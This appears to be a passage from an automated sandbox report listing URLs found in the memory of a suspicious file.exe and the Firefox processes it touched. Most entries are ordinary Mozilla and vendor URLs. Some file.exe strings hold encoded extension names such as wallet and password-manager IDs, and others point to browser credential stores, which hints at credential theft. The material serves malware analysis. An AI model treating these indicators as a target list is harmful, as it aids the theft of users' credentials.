Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000010.00000003.2254118550.0000025CA7B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274746582.0000025CA7BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=default-theme%40mozilla.org%2Caddons-
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: protocols.json.19.dr	String found in binary or memory: https://sharepoint.com
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000010.00000003.2270218342.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2043345274.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000010.00000003.2270218342.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB292000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2043345274.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273669273.0000025CA8CF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000010.00000003.2250975326.0000025CAC6F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2260914217.0000025CAC6F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1989756600.0000025CAC6F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2079027141.0000025CAC6F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2132194071.0000025CAC6F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2013673185.0000025CAC6F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000010.00000003.2549793302.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1728178008.00000000229F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1728178008.00000000229F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273669273.0000025CA8CF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: Web Data.19.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 00000010.00000003.2153546129.0000025CA635C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000010.00000003.2153546129.0000025CA635C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/J
Source: file.exe, 00000000.00000003.1800768605.0000000028E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org8
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000010.00000003.2134591111.0000025CAAF41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2271584351.0000025CAAF41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
